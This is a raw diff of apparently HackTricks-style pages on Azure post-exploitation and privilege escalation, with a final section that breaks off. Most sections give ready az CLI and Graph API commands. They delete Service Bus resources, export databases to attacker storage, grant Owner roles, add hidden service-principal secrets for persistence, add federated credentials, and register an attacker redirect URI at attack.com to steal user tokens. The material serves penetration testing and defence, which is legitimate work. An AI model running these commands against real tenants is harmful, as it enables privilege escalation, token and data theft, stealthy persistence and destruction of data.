|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-servicebus-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/Delete`
|
||||
|
||||
An attacker with this permission can delete an entire Azure Service Bus namespace. This action removes the namespace and all associated resources, including queues, topics, subscriptions, and their messages, causing widespread disruption and permanent data loss across all dependent systems and workflows.
|
||||
|
||||
```bash
|
||||
az servicebus namespace delete --resource-group <ResourceGroupName> --name <NamespaceName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/Delete`
|
||||
|
||||
An attacker with this permission can delete an Azure Service Bus topic. This action removes the topic and all its associated subscriptions and messages, potentially causing loss of critical data and disrupting systems and workflows relying on the topic.
|
||||
|
||||
```bash
|
||||
az servicebus topic delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/queues/Delete`
|
||||
|
||||
An attacker with this permission can delete an Azure Service Bus queue. This action removes the queue and all the messages within it, potentially causing loss of critical data and disrupting systems and workflows dependent on the queue.
|
||||
|
||||
```bash
|
||||
az servicebus queue delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete`
|
||||
|
||||
An attacker with this permission can delete an Azure Service Bus subscription. This action removes the subscription and all its associated messages, potentially disrupting workflows, data processing, and system operations relying on the subscription.
|
||||
|
||||
```bash
|
||||
az servicebus topic subscription delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read`
|
||||
|
||||
An attacker with permissions to create or modify Azure Service Bus namespaces can exploit this to disrupt operations, deploy unauthorized resources, or expose sensitive data. They can alter critical configurations such as enabling public network access, downgrading encryption settings, or changing SKUs to degrade performance or increase costs. Additionally, they could disable local authentication, manipulate replica locations, or adjust TLS versions to weaken security controls, making namespace misconfiguration a significant post-exploitation risk.
|
||||
|
||||
```bash
|
||||
az servicebus namespace create --resource-group <ResourceGroupName> --name <NamespaceName> --location <Location>
|
||||
az servicebus namespace update --resource-group <ResourceGroupName> --name <NamespaceName> --tags <Key=Value>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/queues/write` (`Microsoft.ServiceBus/namespaces/queues/read`)
|
||||
|
||||
An attacker with permissions to create or modify Azure Service Bus queues (to modiffy the queue you will also need the Action:`Microsoft.ServiceBus/namespaces/queues/read`) can exploit this to intercept data, disrupt workflows, or enable unauthorized access. They can alter critical configurations such as forwarding messages to malicious endpoints, adjusting message TTL to retain or delete data improperly, or enabling dead-lettering to interfere with error handling. Additionally, they could manipulate queue sizes, lock durations, or statuses to disrupt service functionality or evade detection, making this a significant post-exploitation risk.
|
||||
|
||||
```bash
|
||||
az servicebus queue create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
|
||||
az servicebus queue update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`)
|
||||
|
||||
An attacker with permissions to create or modify topics (to modiffy the topic you will also need the Action:`Microsoft.ServiceBus/namespaces/topics/read`) within an Azure Service Bus namespace can exploit this to disrupt message workflows, expose sensitive data, or enable unauthorized actions. Using commands like az servicebus topic update, they can manipulate configurations such as enabling partitioning for scalability misuse, altering TTL settings to retain or discard messages improperly, or disabling duplicate detection to bypass controls. Additionally, they could adjust topic size limits, change status to disrupt availability, or configure express topics to temporarily store intercepted messages, making topic management a critical focus for post-exploitation mitigation.
|
||||
|
||||
```bash
|
||||
az servicebus topic create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
|
||||
az servicebus topic update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`)
|
||||
|
||||
An attacker with permissions to create or modify subscriptions (to modiffy the subscription you will also need the Action: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) within an Azure Service Bus topic can exploit this to intercept, reroute, or disrupt message workflows. Using commands like az servicebus topic subscription update, they can manipulate configurations such as enabling dead lettering to divert messages, forwarding messages to unauthorized endpoints, or modifying TTL and lock duration to retain or interfere with message delivery. Additionally, they can alter status or max delivery count settings to disrupt operations or evade detection, making subscription control a critical aspect of post-exploitation scenarios.
|
||||
|
||||
```bash
|
||||
az servicebus topic subscription create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
|
||||
az servicebus topic subscription update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
|
||||
```
|
||||
|
||||
### Actions: `AuthorizationRules` Send & Recive Messages
|
||||
|
||||
Take a look here:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-queue-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless
|
||||
- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus
|
||||
- https://learn.microsoft.com/en-us/cli/azure/servicebus/namespace?view=azure-cli-latest
|
||||
- https://learn.microsoft.com/en-us/cli/azure/servicebus/queue?view=azure-cli-latest
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,102 @@
|
||||
# Az - SQL Database Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQL Database Post Exploitation
|
||||
|
||||
For more information about SQL Database check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-sql.md
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
|
||||
|
||||
With these permissions, an attacker can create and update databases within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions.
|
||||
|
||||
```bash
|
||||
# Create Database
|
||||
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
|
||||
|
||||
# Update Database
|
||||
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
|
||||
|
||||
With these permissions, an attacker can create and update elasticPools within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions.
|
||||
|
||||
```bash
|
||||
# Create Elastic Pool
|
||||
az sql elastic-pool create \
|
||||
--name <new-elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--edition <edition> \
|
||||
--dtu <dtu-value>
|
||||
|
||||
# Update Elastic Pool
|
||||
az sql elastic-pool update \
|
||||
--name <elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--dtu <new-dtu-value> \
|
||||
--tags <key=value>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
|
||||
|
||||
With this permission, you can modify or enable auditing settings on an Azure SQL Server. This could allow an attacker or authorized user to manipulate audit configurations, potentially covering tracks or redirecting audit logs to a location under their control. This can hinder security monitoring or enable it to keep track of the actions. NOTE: To enable auditing for an Azure SQL Server using Blob Storage, you must attach a storage account where the audit logs can be saved.
|
||||
|
||||
```bash
|
||||
az sql server audit-policy update \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state Enabled \
|
||||
--storage-account <storage_account_name> \
|
||||
--retention-days 7
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
|
||||
|
||||
With this permission, you can modify the connection policies of an Azure SQL Server. This capability can be exploited to enable or change server-level connection settings
|
||||
|
||||
```bash
|
||||
az sql server connection-policy update \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--connection-type <Proxy|Redirect|Default>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/databases/export/action"
|
||||
|
||||
With this permission, you can export a database from an Azure SQL Server to a storage account. An attacker or authorized user with this permission can exfiltrate sensitive data from the database by exporting it to a location they control, posing a significant data breach risk. It is important to know the storage key to be able to perform this.
|
||||
|
||||
```bash
|
||||
az sql db export \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name> \
|
||||
--storage-uri <storage_blob_uri> \
|
||||
--storage-key-type SharedAccessKey \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/databases/import/action"
|
||||
|
||||
With this permission, you can import a database into an Azure SQL Server. An attacker or authorized user with this permission can potentially upload malicious or manipulated databases. This can lead to gaining control over sensitive data or by embedding harmful scripts or triggers within the imported database. Additionaly you can import it to your own server in azure. Note: The server must allow Azure services and resources to access the server.
|
||||
|
||||
```bash
|
||||
az sql db import --admin-user <admin-user> \
|
||||
--admin-password <admin-password> \
|
||||
--name <target-database-name> \
|
||||
--server <azure-sql-server-name> \
|
||||
--resource-group <resource-group-name> \
|
||||
--storage-key-type SharedAccessKey \
|
||||
--storage-key <storage-account-key> \
|
||||
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+64
@@ -0,0 +1,64 @@
|
||||
# Az - Table Storage Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Table Storage Post Exploitation
|
||||
|
||||
For more information about table storage check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-table-storage.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Storage/storageAccounts/tableServices/tables/entities/read
|
||||
|
||||
A principal with this permission will be able to **list** the tables inside a table storage and **read the info** which might contain **sensitive information**.
|
||||
|
||||
```bash
|
||||
# List tables
|
||||
az storage table list --auth-mode login --account-name <name>
|
||||
|
||||
# Read table (top 10)
|
||||
az storage entity query \
|
||||
--account-name <name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--top 10
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action
|
||||
|
||||
A principal with this permission will be able to **write and overwrite entries in tables** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some trusted data that could abuse some injection vulnerability in the app using it).
|
||||
|
||||
- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` allows all the actions.
|
||||
- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` allows to **add** entries
|
||||
- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` allows to **update** existing entries
|
||||
|
||||
```bash
|
||||
# Add
|
||||
az storage entity insert \
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
|
||||
# Replace
|
||||
az storage entity replace \
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
|
||||
# Update
|
||||
az storage entity merge \
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
```
|
||||
|
||||
### \*/delete
|
||||
|
||||
This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+181
@@ -0,0 +1,181 @@
|
||||
# Az - VMs & Network Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## VMs & Network
|
||||
|
||||
For more info about Azure VMs and networking check the following page:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### VM Application Pivoting
|
||||
|
||||
VM applications can be shared with other subscriptions and tenants. If an application is being shared it's probably because it's being used. So if the attacker manages to **compromise the application and uploads a backdoored** version it might be possible that it will be **executed in another tenant or subscription**.
|
||||
|
||||
### Sensitive information in images
|
||||
|
||||
It might be possible to find **sensitive information inside images** taken from VMs in the past.
|
||||
|
||||
1. **List images** from galleries
|
||||
|
||||
```bash
|
||||
# Get galleries
|
||||
az sig list -o table
|
||||
|
||||
# List images inside gallery
|
||||
az sig image-definition list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
-o table
|
||||
|
||||
# Get images versions
|
||||
az sig image-version list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
--gallery-image-definition <IMAGE_DEFINITION> \
|
||||
-o table
|
||||
```
|
||||
|
||||
2. **List custom images**
|
||||
|
||||
```bash
|
||||
az image list -o table
|
||||
```
|
||||
|
||||
3. **Create VM from image ID** and search for sensitive info inside of it
|
||||
|
||||
```bash
|
||||
# Create VM from image
|
||||
az vm create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <VM_NAME> \
|
||||
--image /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/galleries/<GALLERY_NAME>/images/<IMAGE_DEFINITION>/versions/<IMAGE_VERSION> \
|
||||
--admin-username <ADMIN_USERNAME> \
|
||||
--generate-ssh-keys
|
||||
```
|
||||
|
||||
### Sensitive information in restore points
|
||||
|
||||
It might be possible to find **sensitive information inside restore points**.
|
||||
|
||||
1. **List restore points**
|
||||
|
||||
```bash
|
||||
az restore-point list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--restore-point-collection-name <COLLECTION_NAME> \
|
||||
-o table
|
||||
```
|
||||
|
||||
2. **Create a disk** from a restore point
|
||||
|
||||
```bash
|
||||
az disk create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <NEW_DISK_NAME> \
|
||||
--source /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/restorePointCollections/<COLLECTION_NAME>/restorePoints/<RESTORE_POINT_NAME>
|
||||
```
|
||||
|
||||
3. **Attach the disk to a VM** (the attacker needs to have compromised a VM inside the account already)
|
||||
|
||||
```bash
|
||||
az vm disk attach \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--vm-name <VM_NAME> \
|
||||
--name <DISK_NAME>
|
||||
```
|
||||
|
||||
4. **Mount** the disk and **search for sensitive info**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# List all available disks
|
||||
sudo fdisk -l
|
||||
|
||||
# Check disk format
|
||||
sudo file -s /dev/sdX
|
||||
|
||||
# Mount it
|
||||
sudo mkdir /mnt/mydisk
|
||||
sudo mount /dev/sdX1 /mnt/mydisk
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
#### **1. Open Disk Management**
|
||||
|
||||
1. Right-click **Start** and select **Disk Management**.
|
||||
2. The attached disk should appear as **Offline** or **Unallocated**.
|
||||
|
||||
#### **2. Bring the Disk Online**
|
||||
|
||||
1. Locate the disk in the bottom pane.
|
||||
2. Right-click the disk (e.g., **Disk 1**) and select **Online**.
|
||||
|
||||
#### **3. Initialize the Disk**
|
||||
|
||||
1. If the disk is not initialized, right-click and select **Initialize Disk**.
|
||||
2. Choose the partition style:
|
||||
- **MBR** (Master Boot Record) or **GPT** (GUID Partition Table). GPT is recommended for modern systems.
|
||||
|
||||
#### **4. Create a New Volume**
|
||||
|
||||
1. Right-click the unallocated space on the disk and select **New Simple Volume**.
|
||||
2. Follow the wizard to:
|
||||
- Assign a drive letter (e.g., `D:`).
|
||||
- Format the disk (choose NTFS for most cases).
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Sensitive information in disks & snapshots
|
||||
|
||||
It might be possible to find **sensitive information inside disks or even old disk's snapshots**.
|
||||
|
||||
1. **List snapshots**
|
||||
|
||||
```bash
|
||||
az snapshot list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
-o table
|
||||
```
|
||||
|
||||
2. **Create disk from snapshot** (if needed)
|
||||
|
||||
```bash
|
||||
az disk create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <DISK_NAME> \
|
||||
--source <SNAPSHOT_ID> \
|
||||
--size-gb <DISK_SIZE>
|
||||
```
|
||||
|
||||
3. **Attach and mount the disk** to a VM and search for sensitive information (check the previous section to see how to do this)
|
||||
|
||||
### Sensitive information in VM Extensions & VM Applications
|
||||
|
||||
It might be possible to find **sensitive information inside VM extensions and VM applications**.
|
||||
|
||||
1. **List all VM apps**
|
||||
|
||||
```bash
|
||||
## List all VM applications inside a gallery
|
||||
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
|
||||
```
|
||||
|
||||
2. Install the extension in a VM and **search for sensitive info**
|
||||
|
||||
```bash
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,2 @@
|
||||
# Az - Privilege Escalation
|
||||
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
# Az - App Services Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## App Services
|
||||
|
||||
For more information about Azure App services check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-service.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, 
|
||||
|
||||
These permissions allows to call the following commands to get a **SSH shell** inside a web app
|
||||
|
||||
- Direct option:
|
||||
|
||||
```bash
|
||||
# Direct option
|
||||
az webapp ssh --name <name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
- Create tunnel and then connect to SSH:
|
||||
|
||||
```bash
|
||||
az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
|
||||
## If successfull you will get a message such as:
|
||||
#Verifying if app is running....
|
||||
#App is running. Trying to establish tunnel connection...
|
||||
#Opening tunnel on port: 39895
|
||||
#SSH is available { username: root, password: Docker! }
|
||||
|
||||
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
|
||||
ssh root@127.0.0.1 -p 39895
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+82
@@ -0,0 +1,82 @@
|
||||
# Az - Azure IAM Privesc (Authorization)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure IAM
|
||||
|
||||
Fore more information check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-azuread.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
|
||||
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
|
||||
|
||||
Create the file `role.json` with the following **content**:
|
||||
|
||||
```json
|
||||
{
|
||||
"Name": "<name of the role>",
|
||||
"IsCustom": true,
|
||||
"Description": "Custom role with elevated privileges",
|
||||
"Actions": ["*"],
|
||||
"NotActions": [],
|
||||
"DataActions": ["*"],
|
||||
"NotDataActions": [],
|
||||
"AssignableScopes": ["/subscriptions/<subscription-id>"]
|
||||
}
|
||||
```
|
||||
|
||||
Then update the role permissions with the previous definition calling:
|
||||
|
||||
```bash
|
||||
az role definition update --role-definition role.json
|
||||
```
|
||||
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
|
||||
|
||||
> [!TIP]
|
||||
> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
|
||||
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
|
||||
# Grant a user the Owner role
|
||||
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
|
||||
|
||||
Example command to give access to a repo in Github to the a managed identity:
|
||||
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
|
||||
|
||||
# Example with specific data:
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+357
@@ -0,0 +1,357 @@
|
||||
# Az - EntraID Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.**
|
||||
|
||||
## Roles
|
||||
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges.
|
||||
|
||||
- Assign role to a user:
|
||||
|
||||
```bash
|
||||
# List enabled built-in roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
|
||||
# Give role (Global Administrator?) to a user
|
||||
roleId="<roleId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
```
|
||||
|
||||
- Add more permissions to a role:
|
||||
|
||||
```bash
|
||||
# List only custom roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
|
||||
# Change the permissions of a custom role
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"description": "Update basic properties of application registrations",
|
||||
"rolePermissions": [
|
||||
{
|
||||
"allowedResourceActions": [
|
||||
"microsoft.directory/applications/credentials/update"
|
||||
]
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
## Applications
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
This allows an attacker to **add credentials** (passwords or certificates) to existing applications. If the application has privileged permissions, the attacker can authenticate as that application and gain those privileges.
|
||||
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
# Generate a new certificate without overwritting old ones
|
||||
az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications.
|
||||
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
By adding themselves as an owner, an attacker can manipulate the application, including credentials and permissions.
|
||||
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
|
||||
# You can check the owners with
|
||||
az ad app owner list --id <appId>
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
An attacker can add a redirect URI to applications that are being used by users of the tenant and then share with them login URLs that use the new redirect URL in order to steal their tokens. Note that if the user was already logged in the application, the authentication is going to be automatic without the user needing to accept anything.
|
||||
|
||||
Note that it's also possible to change the permissions the application requests in order to get more permissions, but in this case the user will need accept again the prompt asking for all the permissions.
|
||||
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
|
||||
## Service Principals
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
|
||||
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal.\
|
||||
> From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:
|
||||
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
|
||||
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Similar to applications, this permission allows to add more owners to a service principal. Owning a service principal allows control over its credentials and permissions.
|
||||
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
|
||||
# You can check the owners with
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
